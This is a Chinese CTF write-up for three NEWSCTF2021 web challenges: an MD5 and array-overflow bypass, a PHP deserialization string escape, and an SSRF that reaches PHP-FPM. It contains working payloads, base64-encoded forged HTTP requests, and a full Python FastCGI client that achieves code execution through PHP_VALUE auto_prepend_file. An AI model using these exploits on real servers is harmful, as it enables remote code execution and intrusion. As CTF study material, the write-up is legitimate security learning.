0

NEWSCTF2021-Web

 2 years ago
source link: https://as1def.github.io/2021/06/06/NEWSCTF2021-Web/
Go to the source link to view the article. You can view the picture content, updated content and better typesetting reading experience. If the link is broken, please click the button below to view the snapshot at that time.
neoserver,ios ssh client

整理的一下几个web题,题目难度感觉有点大,tcl….

easy_web

<?php
$six_number = $_POST['webp'];
$a = $_POST['a'];
$b = $_POST['b'];
$c = $_POST['c'];
if (md5($six_number) == 'e10adc3949ba59abbe56e057f20f883e' && md5($a) === md5($b) && $a !== $b) {
if($array[++$c]=1){
if($array[]=1){
echo "nonono";
}
else{
require_once 'flag.php';
echo $flag;
}
}
}
?>

首先绕过md5,直接利用数组绕过,即首先可构造出:payload=>

webp=123456&a[]=1&b[]=2

接下来就是需要让$array[]=1不成立,想到数组溢出,php可计算的最大数值在32和64位中分别为:21474836479223372036854775807

这里输入9223372036854775806,当执行++$c后,会产生数组溢出,到$array[]=1时便会抛出错误,使赋值失败,从而输入flag。

即payload=>webp=123456&a[]=1&b[]=2&c=9223372036854775806

得到的是一个密码,之后拿网站下的背景图片解misc得到flag。

weblog

<?php
highlight_file(__FILE__);
error_reporting(0);
class B{
public $logFile;
public $initMsg;
public $exitMsg;

function __construct($file){
// initialise variables
$this->initMsg="#--session started--#\n";
$this->exitMsg="#--session end--#\n";
$this->logFile = $file;
readfile($this->logFile);

}

function log($msg){
$fd=fopen($this->logFile,"a+");
fwrite($fd,$msg."\n");
fclose($fd);
}

function __destruct(){
echo "this is destruct";
}
}

class A {
public $file = 'flag{xxxxxxxx}';
public $weblogfile;

function __construct() {
echo $this->file;
}

function __wakeup(){
// self::waf($this->filepath);
$obj = new B($this->weblogfile);

}

public function waf($str){
$str=preg_replace("/[<>*#'|?\n ]/","",$str);
$str=str_replace('flag','',$str);
return $str;
}

function __destruct(){
echo "this is destruct";
}

}
class C {
public $file;
public $weblogfile;
}
class D{
public $logFile;
public $initMsg;
public $exitMsg;
}

function is_serialized($data){

$r = preg_match_all('/:\d*?:"/',$data,$m,PREG_OFFSET_CAPTURE);
if(!empty($r)) {
foreach($m[0] as $v){
$a = intval($v[1])+strlen($v[0])+intval(substr($v[0],1));
if($data[$a] !== '"')
return false;
}
}
if(!is_string($data))
return false;
$data = trim($data);
if('N;' === $data)
return true;
if(!preg_match('/^([adObis]):/',$data,$badions))
return false;
switch($badions[1]){
case 'a':
case 'O':
case 's':
if(preg_match( "/^{$badions[1]}:[0-9]+:.*[;}]\$/s", $data ) )
return true;
break;
case 'b':
case 'i':
case 'd':
if(preg_match("/^{$badions[1]}:[0-9.E-]+;\$/", $data))
return true;
break;
}
return false;

}
$log = $_GET['log'];
if(!is_serialized($log)){
die('no1');
}
$log1 = preg_replace("/A/","C",$log);
$log2 = preg_replace("/B/","D",$log1);
if(!unserialize($log2)){
die('no2');
}
$log = preg_replace("/[<>*#'|?\n ]/","",$log);
$log = str_replace('flag','',$log);
$log_unser = unserialize($log);
?>

考点:反序列化字符逃逸

注意点有个绕过函数:

$r = preg_match_all('/:\d*?:"/',$data,$m,PREG_OFFSET_CAPTURE);
if(!empty($r)) {
foreach($m[0] as $v){
$a = intval($v[1])+strlen($v[0])+intval(substr($v[0],1));
if($data[$a] !== '"')
return false;
}
}

:<8绕过正则匹配

剩下正常逃逸,exp如下:

<?php
classA {
public $file='flagflagflagflagflagflag<';
public $weblogfile=';s:10:"weblogfile";s:<8:"flflagag.php";}';
}
echo serialize(new A);

impossible ip

<?php
error_reporting(0);
highlight_file(__FILE__);
$data = base64_decode($_GET['data']);
$host = $_GET['host'];
$port = $_GET['port'];
if(preg_match('/usr|auto|log/i', $data)){
die('error');
}
$fp = fsockopen($host,intval($port),$errno, $errstr, 30);
if (!$fp) {
die();
}
else{
fwrite($fp, $data);
while (!feof($fp)) {
echo fgets($fp, 128);
}
fclose($fp);
}

socket可以任意伪造http请求,exp如下:

<?php
$host='127.0.0.1';
// $port=5778;
$out = "GET /flag.php HTTP/1.1\r\n";
$out .= "Host: $host\r\n";
$out .= "Connection: Close\r\n\r\n";
echo base64_encode($out);
?>

payload=>

?data=R0VUIC9mbGFnLnBocCBIVFRQLzEuMQ0KSG9zdDogMTI3LjAuMC4xDQpDb25uZWN0aW9uOiBDbG9zZQ0KDQo=&host=127.0.0.1&port=80
<?php  
error_reporting(0);
$allow = array('127.0.0.1','localhost');
if(in_array($_SERVER['HTTP_HOST'],$allow)){
highlight_file(__FILE__);
$contents = $_POST['data'];
$file = 'file/'.md5("lastsward".$_SERVER['REMOTE_ADDR']);
@mkdir($file);
if(!preg_match('/lastsward/i', $contents)){
file_put_contents($file.'/hint.txt', $contents);
}
if(file_get_contents($file.'/hint.txt')==='lastsward'){
phpinfo();
}
die();
}
if($_SERVER['REMOTE_ADDR']==='120.78.22.12'||$_SERVER['REMOTE_ADDR']==='120.78.22.121'){
system('cat e6 /flag');
die();
}
die('请从本地访问');

数组可以绕过waf:

<?
$host='127.0.0.1';
// $port=5778;
$out = "POST /flag.php HTTP/1.1\r\n";
$out .= "Host: $host\r\n";
$out .= "Connection: Close\r\n";
$out .="Content-Type: application/x-www-form-urlencoded;charset=UTF-8\r\n";
$out .="Content-Length: 20\r\n\r\n";
$out .="data%5B%5D=lastsward\r\n";
echo base64_encode($out);
?>
?data=UE9TVCAvZmxhZy5waHAgSFRUUC8xLjENCkhvc3Q6IDEyNy4wLjAuMQ0KQ29ubmVjdGlvbjogQ2xvc2UNCkNvbnRlbnQtVHlwZTogYXBwbGljYXRpb24veC13d3ctZm9ybS11cmxlbmNvZGVkO2NoYXJzZXQ9VVRGLTgNCkNvbnRlbnQtTGVuZ3RoOiAyMA0KDQpkYXRhJTVCJTVEPWxhc3Rzd2FyZA0K&host=127.0.0.1&port=80

返回phpinfo信息,可以看到php-fpm,接下来就是需要利用ssrf打fpm(9000)端口,伪造ip。具体参考:Fastcgi协议分析 && PHP-FPM未授权访问漏洞 && Exp编写

fpm脚本如下:

import socket
import random
import argparse
import sys
from io import BytesIO

# Referrer: https://github.com/wuyunfeng/Python-FastCGI-Client

PY2 = True if sys.version_info.major == 2 else False


def bchr(i):
if PY2:
return force_bytes(chr(i))
else:
return bytes([i])

def bord(c):
if isinstance(c, int):
return c
else:
return ord(c)

def force_bytes(s):
if isinstance(s, bytes):
return s
else:
return s.encode('utf-8', 'strict')

def force_text(s):
if issubclass(type(s), str):
return s
if isinstance(s, bytes):
s = str(s, 'utf-8', 'strict')
else:
s = str(s)
return s


class FastCGIClient:
"""A Fast-CGI Client for Python"""

# private
__FCGI_VERSION = 1

__FCGI_ROLE_RESPONDER = 1
__FCGI_ROLE_AUTHORIZER = 2
__FCGI_ROLE_FILTER = 3

__FCGI_TYPE_BEGIN = 1
__FCGI_TYPE_ABORT = 2
__FCGI_TYPE_END = 3
__FCGI_TYPE_PARAMS = 4
__FCGI_TYPE_STDIN = 5
__FCGI_TYPE_STDOUT = 6
__FCGI_TYPE_STDERR = 7
__FCGI_TYPE_DATA = 8
__FCGI_TYPE_GETVALUES = 9
__FCGI_TYPE_GETVALUES_RESULT = 10
__FCGI_TYPE_UNKOWNTYPE = 11

__FCGI_HEADER_SIZE = 8

# request state
FCGI_STATE_SEND = 1
FCGI_STATE_ERROR = 2
FCGI_STATE_SUCCESS = 3

def __init__(self, host, port, timeout, keepalive):
self.host = host
self.port = port
self.timeout = timeout
if keepalive:
self.keepalive = 1
else:
self.keepalive = 0
self.sock = None
self.requests = dict()

def __connect(self):
self.sock = socket.socket(socket.AF_INET, socket.SOCK_STREAM)
self.sock.settimeout(self.timeout)
self.sock.setsockopt(socket.SOL_SOCKET, socket.SO_REUSEADDR, 1)
# if self.keepalive:
# self.sock.setsockopt(socket.SOL_SOCKET, socket.SOL_KEEPALIVE, 1)
# else:
# self.sock.setsockopt(socket.SOL_SOCKET, socket.SOL_KEEPALIVE, 0)
try:
self.sock.connect((self.host, int(self.port)))
except socket.error as msg:
self.sock.close()
self.sock = None
print(repr(msg))
return False
return True

def __encodeFastCGIRecord(self, fcgi_type, content, requestid):
length = len(content)
buf = bchr(FastCGIClient.__FCGI_VERSION) \
+ bchr(fcgi_type) \
+ bchr((requestid >> 8) & 0xFF) \
+ bchr(requestid & 0xFF) \
+ bchr((length >> 8) & 0xFF) \
+ bchr(length & 0xFF) \
+ bchr(0) \
+ bchr(0) \
+ content
return buf

def __encodeNameValueParams(self, name, value):
nLen = len(name)
vLen = len(value)
record = b''
if nLen < 128:
record += bchr(nLen)
else:
record += bchr((nLen >> 24) | 0x80) \
+ bchr((nLen >> 16) & 0xFF) \
+ bchr((nLen >> 8) & 0xFF) \
+ bchr(nLen & 0xFF)
if vLen < 128:
record += bchr(vLen)
else:
record += bchr((vLen >> 24) | 0x80) \
+ bchr((vLen >> 16) & 0xFF) \
+ bchr((vLen >> 8) & 0xFF) \
+ bchr(vLen & 0xFF)
return record + name + value

def __decodeFastCGIHeader(self, stream):
header = dict()
header['version'] = bord(stream[0])
header['type'] = bord(stream[1])
header['requestId'] = (bord(stream[2]) << 8) + bord(stream[3])
header['contentLength'] = (bord(stream[4]) << 8) + bord(stream[5])
header['paddingLength'] = bord(stream[6])
header['reserved'] = bord(stream[7])
return header

def __decodeFastCGIRecord(self, buffer):
header = buffer.read(int(self.__FCGI_HEADER_SIZE))

if not header:
return False
else:
record = self.__decodeFastCGIHeader(header)
record['content'] = b''

if 'contentLength' in record.keys():
contentLength = int(record['contentLength'])
record['content'] += buffer.read(contentLength)
if 'paddingLength' in record.keys():
skiped = buffer.read(int(record['paddingLength']))
return record

def request(self, nameValuePairs={}, post=''):
if not self.__connect():
print('connect failure! please check your fasctcgi-server !!')
return

requestId = random.randint(1, (1 << 16) - 1)
self.requests[requestId] = dict()
request = b""
beginFCGIRecordContent = bchr(0) \
+ bchr(FastCGIClient.__FCGI_ROLE_RESPONDER) \
+ bchr(self.keepalive) \
+ bchr(0) * 5
request += self.__encodeFastCGIRecord(FastCGIClient.__FCGI_TYPE_BEGIN,
beginFCGIRecordContent, requestId)
paramsRecord = b''
if nameValuePairs:
for (name, value) in nameValuePairs.items():
name = force_bytes(name)
value = force_bytes(value)
paramsRecord += self.__encodeNameValueParams(name, value)

if paramsRecord:
request += self.__encodeFastCGIRecord(FastCGIClient.__FCGI_TYPE_PARAMS, paramsRecord, requestId)
request += self.__encodeFastCGIRecord(FastCGIClient.__FCGI_TYPE_PARAMS, b'', requestId)

if post:
request += self.__encodeFastCGIRecord(FastCGIClient.__FCGI_TYPE_STDIN, force_bytes(post), requestId)
request += self.__encodeFastCGIRecord(FastCGIClient.__FCGI_TYPE_STDIN, b'', requestId)

self.sock.send(request)
self.requests[requestId]['state'] = FastCGIClient.FCGI_STATE_SEND
self.requests[requestId]['response'] = b''
return self.__waitForResponse(requestId)

def __waitForResponse(self, requestId):
data = b''
while True:
buf = self.sock.recv(512)
if not len(buf):
break
data += buf

data = BytesIO(data)
while True:
response = self.__decodeFastCGIRecord(data)
if not response:
break
if response['type'] == FastCGIClient.__FCGI_TYPE_STDOUT \
or response['type'] == FastCGIClient.__FCGI_TYPE_STDERR:
if response['type'] == FastCGIClient.__FCGI_TYPE_STDERR:
self.requests['state'] = FastCGIClient.FCGI_STATE_ERROR
if requestId == int(response['requestId']):
self.requests[requestId]['response'] += response['content']
if response['type'] == FastCGIClient.FCGI_STATE_SUCCESS:
self.requests[requestId]
return self.requests[requestId]['response']

def __repr__(self):
return "fastcgi connect host:{} port:{}".format(self.host, self.port)


if __name__ == '__main__':
parser = argparse.ArgumentParser(description='Php-fpm code execution vulnerability client.')
parser.add_argument('host', help='Target host, such as 127.0.0.1')
parser.add_argument('file', help='A php file absolute path, such as /usr/local/lib/php/System.php')
parser.add_argument('-c', '--code', help='What php code your want to execute', default='<?php phpinfo(); exit; ?>')
parser.add_argument('-p', '--port', help='FastCGI port', default=9000, type=int)

args = parser.parse_args()

client = FastCGIClient(args.host, args.port, 3, 0)
params = dict()
documentRoot = "/"
uri = args.file
content = args.code
params = {
'GATEWAY_INTERFACE': 'FastCGI/1.0',
'REQUEST_METHOD': 'POST',
'SCRIPT_FILENAME': documentRoot + uri.lstrip('/'),
'SCRIPT_NAME': uri,
'QUERY_STRING': '',
'REQUEST_URI': uri,
'DOCUMENT_ROOT': documentRoot,
'SERVER_SOFTWARE': 'php/fcgiclient',
'REMOTE_ADDR': '127.0.0.1',
'REMOTE_PORT': '9985',
'SERVER_ADDR': '127.0.0.1',
'SERVER_PORT': '80',
'SERVER_NAME': "localhost",
'SERVER_PROTOCOL': 'HTTP/1.1',
'CONTENT_TYPE': 'application/text',
'CONTENT_LENGTH': "%d" % len(content),
'PHP_VALUE': 'auto_prepend_file = php://input',
'PHP_ADMIN_VALUE': 'allow_url_include = On'
}
response = client.request(params, content)
print(force_text(response))

修改vps为自己的,开启端口监听,得到payload=>

data=AQHQygAIAAAAAQAAAAAAAAEE0MoBiQAAEQtHQVRFV0FZX0lOVEVSRkFDRUZhc3RDR0kvMS4wDgRSRVFVRVNUX01FVEhPRFBPU1QPFlNDUklQVF9GSUxFTkFNRS92YXIvd3d3L2h0bWwvZmxhZy5waHALFlNDUklQVF9OQU1FL3Zhci93d3cvaHRtbC9mbGFnLnBocAwAUVVFUllfU1RSSU5HCxZSRVFVRVNUX1VSSS92YXIvd3d3L2h0bWwvZmxhZy5waHANAURPQ1VNRU5UX1JPT1QvDw5TRVJWRVJfU09GVFdBUkVwaHAvZmNnaWNsaWVudAsMUkVNT1RFX0FERFIxMjAuNzguMjIuMTILBFJFTU9URV9QT1JUOTk4NQsJU0VSVkVSX0FERFIxMjcuMC4wLjELAlNFUlZFUl9QT1JUODALCVNFUlZFUl9OQU1FbG9jYWxob3N0DwhTRVJWRVJfUFJPVE9DT0xIVFRQLzEuMQwQQ09OVEVOVF9UWVBFYXBwbGljYXRpb24vdGV4dA4BQ09OVEVOVF9MRU5HVEgwAQTQygAAAAABBdDKAAAAAA==&host=127.0.0.1&port=9000

执行得到flag。

img


About Joyk


Aggregate valuable and interesting links.
Joyk means Joy of geeK